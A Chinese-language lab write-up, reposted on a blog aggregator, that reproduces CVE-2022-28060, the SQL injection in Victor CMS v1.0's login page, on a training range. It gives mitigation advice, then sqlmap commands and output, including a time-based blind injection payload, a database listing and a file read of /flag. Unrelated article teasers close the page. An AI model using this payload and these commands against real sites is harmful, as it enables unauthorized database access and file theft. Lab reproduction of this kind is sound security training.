Victor CMS v1.0 SQL 注入漏洞(CVE-2022-28060)

前言

CVE-2022-28060 是 Victor CMS v1.0 中的一个SQL注入漏洞。该漏洞存在于 /includes/login.php 文件中的 user_name 参数。攻击者可以通过发送特制的 SQL 语句,利用这个漏洞执行未授权的数据库操作,从而访问或修改数据库中的敏感信息。

漏洞详细信息

  • 漏洞类型:SQL注入
  • 受影响的组件:Victor CMS v1.0
  • 攻击途径:远程攻击者可以利用该漏洞,通过发送特制的请求来执行任意的 SQL 语句。
  • 漏洞严重性:高 (CVSS v3 基础分数:7.5)​

解决方案

  • 使用准备好的语句:采用预编译的 SQL 语句或参数化查询来处理 SQL 请求。
  • 输入验证:对所有用户输入进行严格的验证和过滤,确保只接受符合预期格式的输入。
  • 最小权限原则:为数据库用户分配最低的权限,确保即使发生注入攻击,攻击者也无法获得过多的权限

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和攻击场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:

实战演练:

提供各种网络安全攻防演练场景,模拟真实的网络攻击事件,帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。

漏洞复现:

用户可以通过平台对已知的安全漏洞进行复现,了解漏洞的产生原因、利用方法和修复措施。
通过实战操作,帮助用户掌握漏洞利用和防护的技能。

教学培训:

提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。
包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。

竞赛与评测:

定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。

资源共享:

平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。
用户可以在社区中分享经验和资源,互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。

介绍

Victor CMS v1.0 是一个设计用于管理和发布网站内容的开源内容管理系统(CMS)。以下是关于Victor CMS v1.0 的主要特点和功能:

主要特点

  1. 内容管理

    • 提供用户友好的界面,支持创建、编辑和发布网站内容,包括文章、页面和多媒体文件。
  2. 用户管理

    • 允许管理员创建和管理用户账户,设定不同的权限和角色,如管理员和编辑。
  3. 主题和定制

    • 支持多种主题和模板,用户可以根据需求自定义网站的外观和布局。
  4. 多语言支持

    • 提供多语言功能,使得网站内容可以用多种语言呈现,满足全球用户的需求。
  5. SEO优化

    • 集成了搜索引擎优化(SEO)功能,帮助网站内容更容易被搜索引擎索引和检索。
  6. 安全性

    • 考虑了数据安全和用户认证,支持基本的访问控制和身份验证机制。

应用场景

Victor CMS v1.0 适用于小型企业、个人博客和社区网站,提供了一个简单而功能丰富的内容管理平台。用户可以利用其灵活的功能来构建和管理各种类型的网站,从而满足不同用户的需求。

开发和社区支持

作为开源项目,Victor CMS v1.0 提供了开放的开发环境和社区支持。用户可以访问其 GitHub 页面和相关社区论坛,获取技术支持、更新和定制建议。

总结

Victor CMS v1.0 是一个适用于各种网站项目的开源内容管理系统,通过其简单易用的界面和丰富的功能,为用户提供了创建和管理网站内容的便利。如果你对搭建个人网站或小型企业网站感兴趣,Victor CMS v1.0 可能是一个值得考虑的选择。

漏洞复现

打开靶场

加载网页有点抽象,得往下滑才能找到登录框

随便输入数值然后抓包拦截

可以看到是 POST 的形式,复制数据包的值到 txt 文件中

先探测一波,发现 user_name 字段存在 SQL 注入 

┌──(root㉿kali)-[/home/suc2es2]
└─# sqlmap -r sqlmap.txt --batch_____H_____ ___[.]_____ ___ ___  {1.8.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 15:56:03 /2024-06-30/[15:56:03] [INFO] parsing HTTP request from 'sqlmap.txt'
[15:56:03] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:56:03] [INFO] testing connection to the target URL
[15:56:03] [INFO] testing if the target URL content is stable
[15:56:04] [INFO] target URL content is stable
[15:56:04] [INFO] testing if POST parameter 'user_name' is dynamic
[15:56:04] [WARNING] POST parameter 'user_name' does not appear to be dynamic
[15:56:04] [WARNING] heuristic (basic) test shows that POST parameter 'user_name' might not be injectable
[15:56:04] [INFO] testing for SQL injection on POST parameter 'user_name'
[15:56:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:56:04] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:56:04] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:56:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:56:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[15:56:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:56:06] [INFO] testing 'Generic inline queries'
[15:56:06] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:56:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:56:07] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[15:56:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:56:28] [INFO] POST parameter 'user_name' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[15:56:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:56:28] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
got a 302 redirect to 'http://eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com/index.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] N
[15:56:30] [INFO] target URL appears to be UNION injectable with 9 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[15:56:40] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql') 
[15:56:40] [INFO] checking if the injection point on POST parameter 'user_name' is a false positive
POST parameter 'user_name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 144 HTTP(s) requests:
---
Parameter: user_name (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: user_name=admin' AND (SELECT 6619 FROM (SELECT(SLEEP(5)))JhxZ) AND 'ofTE'='ofTE&user_password=admin&login=
---
[15:57:10] [INFO] the back-end DBMS is MySQL
[15:57:10] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
back-end DBMS: MySQL >= 5.0.12
[15:57:11] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com'[*] ending @ 15:57:11 /2024-06-30/

暴力破解数据库

┌──(root㉿kali)-[/home/suc2es2]
└─# sqlmap -r sqlmap.txt --batch --dbs_____H_____ ___[,]_____ ___ ___  {1.8.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [']_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 15:57:32 /2024-06-30/[15:57:32] [INFO] parsing HTTP request from 'sqlmap.txt'
[15:57:32] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[15:57:32] [INFO] resuming back-end DBMS 'mysql' 
[15:57:32] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: user_name (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: user_name=admin' AND (SELECT 6619 FROM (SELECT(SLEEP(5)))JhxZ) AND 'ofTE'='ofTE&user_password=admin&login=
---
[15:57:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[15:57:32] [INFO] fetching database names
[15:57:32] [INFO] fetching number of databases
[15:57:32] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)     
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[15:57:45] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
5
[15:57:56] [INFO] retrieved: 
[15:58:06] [INFO] adjusting time delay to 1 second due to good response times
information_schema
[16:00:09] [INFO] retrieved: mysql
[16:00:44] [INFO] retrieved: performance_schema
[16:02:46] [INFO] retrieved: php_cms
[16:03:51] [INFO] retrieved: sys
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] php_cms
[*] sys

在 mysql 库中查找文件 flag 

┌──(root㉿kali)-[/home/suc2es2]
└─# sqlmap -r sqlmap.txt --batch -D "mysql" --file-read "/flag"_____H_____ ___["]_____ ___ ___  {1.8.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 16:21:11 /2024-06-30/[16:21:11] [INFO] parsing HTTP request from 'sqlmap.txt'
[16:21:11] [WARNING] provided value for parameter 'login' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[16:21:11] [INFO] resuming back-end DBMS 'mysql' 
[16:21:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: user_name (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: user_name=admin' AND (SELECT 6619 FROM (SELECT(SLEEP(5)))JhxZ) AND 'ofTE'='ofTE&user_password=admin&login=
---
[16:21:11] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[16:21:11] [INFO] fingerprinting the back-end DBMS operating system
[16:21:14] [INFO] the back-end DBMS operating system is Linux
[16:21:14] [INFO] fetching file: '/flag'
[16:21:14] [INFO] retrieved: 
[16:21:14] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
6
[16:21:44] [INFO] adjusting time delay to 1 second due to good response times
66C61677B39623135393033642D313165642D343032632D613232622D6434666537303065656330367D
do you want confirmation that the remote file '/flag' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[16:27:51] [INFO] retrieved: 42
[16:27:59] [INFO] the local file '/root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com/files/_flag' and the remote file '/flag' have the same size (42 B)
files saved to [1]:
[*] /root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com/files/_flag (same file)[16:27:59] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com'[*] ending @ 16:27:59 /2024-06-30/

访问 flag 

──(root㉿kali)-[/home/suc2es2]
└─# cat /root/.local/share/sqlmap/output/eci-2ze7i6mdn52cbhya3l8h.cloudeci1.ichunqiu.com/files/_flag
flag{9b15903d-11ed-402c-a22b-d4fe700eec06}                        

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/864266.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

论文阅读_优化RAG系统的检索

英文名称: The Power of Noise: Redefining Retrieval for RAG Systems 中文名称: 噪声的力量:重新定义RAG系统的检索 链接: https://arxiv.org/pdf/2401.14887.pdf 作者: Florin Cuconasu, Giovanni Trappolini, Federico Siciliano, Simone Filice, Cesare Campag…

半导体中名词“wafer”“chip”“die”中文名字和用途

①wafer——晶圆 wafer 即为图片所示的晶圆,由纯硅(Si)构成。一般分为6英寸、8英寸、12英寸规格不等,晶片就是基于这个wafer上生产出来的。晶圆是指硅半导体集成电路制作所用的硅晶片,由于其形状为圆形,故称为晶圆;在硅晶片上可加…

App测试技术(纯理论)

之前我们也学习过一些普通用例的设计, 如功能, 性能, 安全性, 兼容性, 易用性, 界面的测试用例设计, 之前我们讲的基本都是对于Web应用而言的, 这里我们来讲一下移动端的App测试用例设计. 功能方面 安装&卸载测试 这是只属于App的一类测试, 再平常我们使用移动设备(手机…

php 命令行模式详解

PHP 的命令行模式(Command Line Interface, CLI)是 PHP 的一个特定版本或运行时配置,它允许 PHP 脚本在没有 Web 服务器的情况下直接在命令行环境中执行。CLI 版本的 PHP 通常不包含 CGI 或者其他 web server 接口,因此更轻量级&a…

Redis的使用(一)概述

1.绪论 redis是一款用c编写的kv数据库,它具有丰富的数据类型,并且执行原子操作,自带数持久化,并且实现了集群部署等功能,我们来看看它有哪些特点: 1.提供了丰富的数据结构,比如string,list&am…

【第11章】MyBatis-Plus条件构造器(上)

文章目录 前言一、功能详解1. allEq2. eq3. ne4. gt5. ge6. lt7. le8. between9. notBetween10. like11. notLike12. likeLeft13. likeRight14. notLikeLeft15. notLikeRight16. isNull17. in18. notIn19. inSql20. notInSql21. eqSqlSince 3.5.622. gtSql Since 3.4.3.223. ge…

Linux4(Docker)

目录 一、Docker介绍 二、Docker结构 三、Docker安装 四、Docker 镜像 五、Docker 容器 六、Docker 安装nginx 七、Docker 中的MySQL部署 一、Docker介绍 Docker:是给予Go语言实现的开源项目。 Docker的主要目标是“Build,Ship and Run Any App,Anywhere” 也…

jenkins配置git

参考: 容器化部署 Jenkins,并配置SSH远程操作服务器_jenkins ssh-CSDN博客

类和对象【上】【C++】

P. S.:以下代码均在VS2019环境下测试,不代表所有编译器均可通过。 P. S.:测试代码均未展示头文件stdio.h的声明,使用时请自行添加。 博主主页:LiUEEEEE                        …

依托天拓四方工业智能网关实现CNC数控机床的远程运维

随着工业4.0时代的到来,智能制造和工业互联网成为了推动制造业转型升级的重要力量。CNC数控机床作为制造业的核心设备,其运行效率与稳定性直接关系到企业的生产效益。因此,实现CNC数控机床的远程运维,对于提升企业竞争力、降低运营…

安装 Docker 环境(通过云平台创建一个实例实现)

目录 1. 删除原有 yum 2. 手动配置 yum 源 3. 删除防火墙规则 4. 保存防火墙配置 5. 修改系统内核。打开内核转发功能。 6. 安装 Docker 7. 设置本地镜像仓库 8.重启服务 1. 删除原有 yum rm -rfv /etc/yum.repos.d/* 2. 手动配置 yum 源 使用 centos7-1511.iso 和 Xi…

Apache Iceberg:现代数据湖存储格式的未来

Apache Iceberg 是一个开源的表格式,用于在分布式数据湖中管理大规模数据集。它由 Netflix 开发,并捐赠给 Apache 基金会。Iceberg 的设计目标是解决传统数据湖存储格式(如 Apache Hive 和 Apache Parquet)在大规模数据管理中的一…

Java [ 基础 ] 方法引用 ✨

✨探索Java基础✨ Java基础:方法引用 方法引用是Java 8中引入的一种新特性,它使得代码更加简洁和易读。方法引用提供了一种可以直接引用已有方法作为Lambda表达式的替代方案。本文将深入介绍方法引用的基本概念、使用方法、具体实例及其在实际开发中的…

说一说应如何组织团建

1. 背景 团建,全称为团队建设(Team Building, TB),是一种通过各种活动和训练,提高团队凝聚力,增强团队合作精神,提升团队效率的过程。团建活动可以包括各种形式,如户外拓展训练、团…

【深入浅出 】——【Python 字典】——【详解】

目录 1. 什么是 Python 字典? 1.1 字典的基本概念 1.2 字典的用途 1.3 字典的优势 2. 字典的基本特点 2.1 键的唯一性 2.2 可变性 2.3 无序性 3. 如何创建字典? 3.1 使用 {} 符号 3.2 使用 dict() 工厂方法 3.3 使用 fromkeys() 方法 4. 字…

[工业网络][2] 安全背景知识

安全背景知识 物理、网络和人员安全 在考虑企业和工业的安全性时,安全从业人员传统上将自己划分为三个专业领域。我们借助于安全中经常使用的两个术语来描述这三个领域 业内人士。属于您的设施的人员,包括员工和受邀承包商,访客或交付和服…

研发项目开发效率的影响因素浅析

适应日益加剧的竞争环境、把握瞬息万变的市场信息是企业得以生存和发展的基础,某大型IT公司估计其产品推迟上市一个月将导致收入减少530万(人民币)、利润减少265万、还要付出另外的研发费用37.5万。这就对产品研发项目提出了更高的要求&#…

K8s的基本使用和认识

目录 介绍 控制端 Node(节点) 控制端与节点的关系图 基本使用 创建和运行资源 查找和参看资源 修改和删除资源 介绍 控制端 api-server(api)是集群的核心是k8s中最重要的组件,因为它是实现声明式api的关键 kubernetes api-server的核心功能是提供了Kubernetes各类资…

应用监控SkyWalking调研

参考: 链路追踪( Skyworking )_skywalking-CSDN博客 企业级监控项目Skywalking详细介绍,来看看呀-CSDN博客 SkyWalking 极简入门 | Apache SkyWalking 使用 SkyWalking 监控 ClickHouse Server | Apache SkyWalking https://zhuanlan.zhihu.com/p/3…